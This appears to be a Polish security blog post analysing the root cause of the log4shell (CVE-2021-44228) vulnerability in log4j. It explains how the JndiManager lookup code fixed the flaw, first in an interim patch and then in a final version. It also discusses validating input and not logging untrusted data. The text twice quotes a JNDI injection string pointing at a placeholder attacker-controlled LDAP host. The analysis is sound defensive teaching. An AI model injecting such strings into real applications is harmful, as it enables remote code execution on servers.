Wiele mówi się i pisze o podatnościach w oprogramowaniu. Największe problemy są szeroko dyskutowane, a przykłady wykorzystania błędów są często dostępne na GitHubie, zazwyczaj jako exploit lub Proof of Concept (PoC), mające na celu weryfikację, czy aplikacje są narażone na ataki. Serwisy informacyjne szczegółowo opisują, na czym polegają te defekty, jak je wykorzystać, jak je wykrywać i sprawdzić, czy dotyczą one naszego oprogramowania. Niniejsza seria artykułów będzie nieco inna – skoncentruje się na genezie znanych problemów, przeanalizuje przyczyny ich pojawienia się w kodzie aplikacji oraz pokaże, jak autorzy bibliotek postanowili rozwiązać te kwestie. Zacznijmy!
Jeśli chodzi o podatność w bibliotece log4j, znanej również jako log4shell lub CVE-2021-44228, napisano już wiele na temat jej wykrywania i wpływu błędu na funkcjonowanie aplikacji. Polecam znakomity materiał dostępny na stronie CERT: https://cert.pl/posts/2021/12/krytyczna-podatnosc-w-bibliotece-apache-log4j.
Podatność w omawianym pakiecie bierze się z metody przetwarzania i interpolacji ciągów znaków w zapisywanych komunikatach przez Log4j. Jeśli log zawiera specjalnie spreparowany ciąg znaków, takich jak ${jndi:ldap://domena_kontrolowana_przez_atakującego/payload}
, biblioteka próbuje rozwiązać to wyszukiwanie JNDI (Java Naming and Directory Interface) jako część procesu umieszczania informacji w logach aplikacji. Może to prowadzić do sytuacji, w której aplikacja nawiązuje połączenie z zewnętrznym serwerem kontrolowanym przez atakującego, który może zwrócić odniesienie do złośliwego kodu. Serwer aplikacji, który jest podatny, może następnie pobrać i wykonać ten kod prowadząc do zdalnego wykonania kodu (RCE) na serwerze hostującym aplikacje.
Jeśli tylko chcesz wykorzystać w praktyce podatność log4shell to linkuje dwa repozytoria, które są dostępne na GitHub, udostępniające celowo podatne aplikacje:
- https://github.com/tothi/log4shell-vulnerable-app
- https://github.com/christophetd/log4shell-vulnerable-app
Sama podatność z punktu widzenia bezpieczeństwa kodu źródłowego jest o tyle ciekawa, że jeśli nasza aplikacja jest lub była nią zagrożona oznacza złamanie lub brak przestrzegania dwóch bardzo istotnych zasad dotyczących pisania poprawnego kodu:
Niepoprawne kontrolowanie danych, które wchodzą do naszej aplikacji
Wszystkie dane, które są wykorzystywane przez aplikacje, a które zostały przesłane do niej z poza kontekstu jej działania powinny być uznawane za niezaufane i potencjalnie groźne a co za tym idzie wyjątkowo weryfikowane przed możliwością ich wykorzystania w aplikacji. Czy sytuacja, w której aplikacja zaakceptuje przesłany payload, w którym numer MSISDN będzie ciągiem znaków takich jak {"msisdn":"some_test_input"}
, a błąd związany z brakiem możliwości wysłania wiadomości SMS zostanie zgłoszony w funkcji odpowiedzialnej za komunikacje z bramką świadczy o poprawnie zaprojektowanej i napisanej aplikacji? Według mnie niekoniecznie – niepoprawne dane nigdy nie powinny istnieć w kontekście działania aplikacji i powinny być odrzucane i wykrywane najwcześniej jak się da, jeszcze przed możliwością stworzenia obiektu, który przyjmie niepoprawne wartości.
Logowanie informacji, którym nie ufamy lub, których odpowiednio nie zweryfikowaliśmy przed umieszczeniem w logach
Umieszczanie niezaufanych danych w logach aplikacji jest uważane za złą praktykę programowania, ponieważ może prowadzić do wielu problemów bezpieczeństwa. Analizowałeś kiedyś informacje dotyczące przepływu jakiegoś procesu na podstawie logów aplikacji, po to, żeby odtworzyć jakieś informacje w bazie danych? Wyobraź sobie teraz, że atakujący, tworząc payloady, które dodając znaki nowej linii, jest w stanie spreparować kolejne linie w logach aplikacji, groźne, co nie? (Tego typu sytuacje coraz częściej, na szczęście, są niemożliwe w nowszych bibliotekach – ale mimo wszystko – w logach umieszczaj tylko informacje, które są zweryfikowane i którym można ufać!)
Czy jeśli przestrzegałeś dwóch punktów, które opisałem powyżej, to czy jesteś odporny na zagrożenia takie jak log4shell? Niestety nie. Łańcuch jest tak mocny jak jego najsłabsze ogniwo, i w aplikacjach najsłabszym ogniwem często nie jest kod wytwarzany przez nas czy naszych kolegów, a kod tworzony przez szeroko rozumianą społeczność Open Source, który uruchamiany jest poprzez importowanie bibliotek takich jak Log4j do naszych aplikacji.
Jak więc doszło do tego, że w w wersjach biblioteki log4j od 2.0-beta9 do 2.14.1 z wyłączeniem 2.12.2-2.12.* doszło do tak poważnego błędu?
Repozytorium, w którym znajduję się kod, z którego zbudowana jest biblioteka znajduję się na GitHubie – https://github.com/apache/logging-log4j2
Analizując kod znajdujący się w linkowanym repo dla wersji, które są podatne można znaleść plik, który odpowiedzialny jest za komunikacje za pomocą JNDI – log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java
Klasa ta a dokładniej mówiąc metoda, która jest odpowiedzialna za możliwość wykorzystania omawianej podatności wygląda tak:
Metoda przyjmująca generyczny typ danych String – czyli dowolny ciąg znaków, a na wyjściu może zwrócić obiekt dowolnego typu <T>, sama metoda jest niezwykle prosta i zawiera jedną linijkę – this.context.lookup(name)
. Ta instrukcja wykonuje wyszukiwanie w bieżącym kontekście JNDI (this.context) dla obiektu o podanej nazwie w parametrze name
, a wynik wyszukiwania jest zwracany bezpośrednio przez metodę. Brak jakiejkolwiek weryfikacji prowadzi do sytuacji, w której niezaufane dane mogą być przekształcane bezpośrednio w zapytanie JNDI, co może prowadzić do zagrożeń bezpieczeństwa aplikacji. Jest to przykład, dlaczego ważne jest, aby nie przekazywać niezaufanych danych bezpośrednio do funkcji, które mogą wykonywać czynności na podstawie tych danych, bez odpowiedniej weryfikacji lub sanitacji.
Zanim programiści odpowiedzialni za kształt biblioteki log4j doszli do ostatecznej wersji funkcjonalności, która realizuje zapytania JNDI (co samo w sobie nie jest niczym szczególnie niebezpiecznym i bardzo często całkowicie uzasadnione), wprowadzona została poprawka, która w formie hot-fixa uniemożliwiała wykorzystanie omawianej podatności. W tym patchu zmodyfikowano kod metody lookup:
Ta zmiana wprowadza dodatkowe zabezpieczenia w metodzie lookup
do łagodzenia efektów podatności Log4Shell, poprzez sprawdzanie protokołu i nazwy hosta w przekazanym URI oraz kontrolę deserializacji klas. Najpierw sprawdza, czy używany protokół i host znajdują się na listach dozwolonych, blokując próby nawiązania połączeń do potencjalnie złośliwych serwerów LDAP. Następnie weryfikuje, czy atrybuty zwracane przez kontekst JNDI nie zawierają niebezpiecznych klas do deserializacji, co zapobiega wykonaniu złośliwego kodu przez kontrolę klas, które mogą być deserializowane.
Finalnie wersja, która udostępniana jest dla klientów zawiera metodę, która wygląda tak:
Ostateczna wersja jest dużo bardziej uproszczona i nie zawiera tak rozbudowanej logiki polegającej na weryfikowaniu różnych opcji. Przyjęto jednak odpowiednie założenia, które definitywnie ograniczają funkcjonalności, jakie można wykonać za pomocą zapytań JNDI. Dwie weryfikacje, które zostały wprowadzone, to po pierwsze, czy wprowadzony do metody ciąg znaków o nazwie name
może zostać zaprezentowany w formacie URI
– jeśli nie, zgłaszany jest wyjątek URISyntaxException
. Druga weryfikacja przedstawiona jest w formie wyrażenia warunkowego, sprawdzającego alternatywę tego, czy schemat jest pusty, czy może przyjmuje wartość JAVA_SCHEME (czyli w tym przypadku java
). W wyniku takiego zabiegu próba przekazania ciągu znaków takiego jak ${jndi:ldap://domena_kontrolowana_przez_atakującego/payload}
się nie powiedzie właśnie w tej weryfikacji (schemat ldap nie jest ani nullem ani ciągiem znaków ‘java’).
Podsumowując
Pierwotna wersja implementacji możliwości realizacji zapytań JNDI została zrobiona “po łebkach”, nie biorąc pod uwagę żadnych założeń ani weryfikacji (no bo pewnie ich na tamtym etapie nie było ;)), pierwszy etap poprawek na gorąco wyeliminował zagrożenie poprzez wprowadzenie rozbudowanej weryfikacji, która w szczególności uniemożliwia realizację zapytania JNDI z wykorzystaniem schematu ldap do zdalnego serwera. Finalnie jednak programiści zdecydowali się na przyjęcie konkretnych założeń, które w tym przypadku mówią: jeśli chcesz korzystać z JNDI, możesz to zrobić tylko przez zapytanie bez schematu lub ze schematem java – ograniczając funkcjonalność tej metody do absolutnego minimum, które jest potrzebne do realizacji logiki biznesowej udostępnianej przez bibliotekę, przy okazji znacznie upraszczając kod.
Bez kompletnego i poprawnego designu aplikacji – niezwykle ciężko stworzyć kod źródłowy, który będzie odporny na ataki bezpieczeństwa.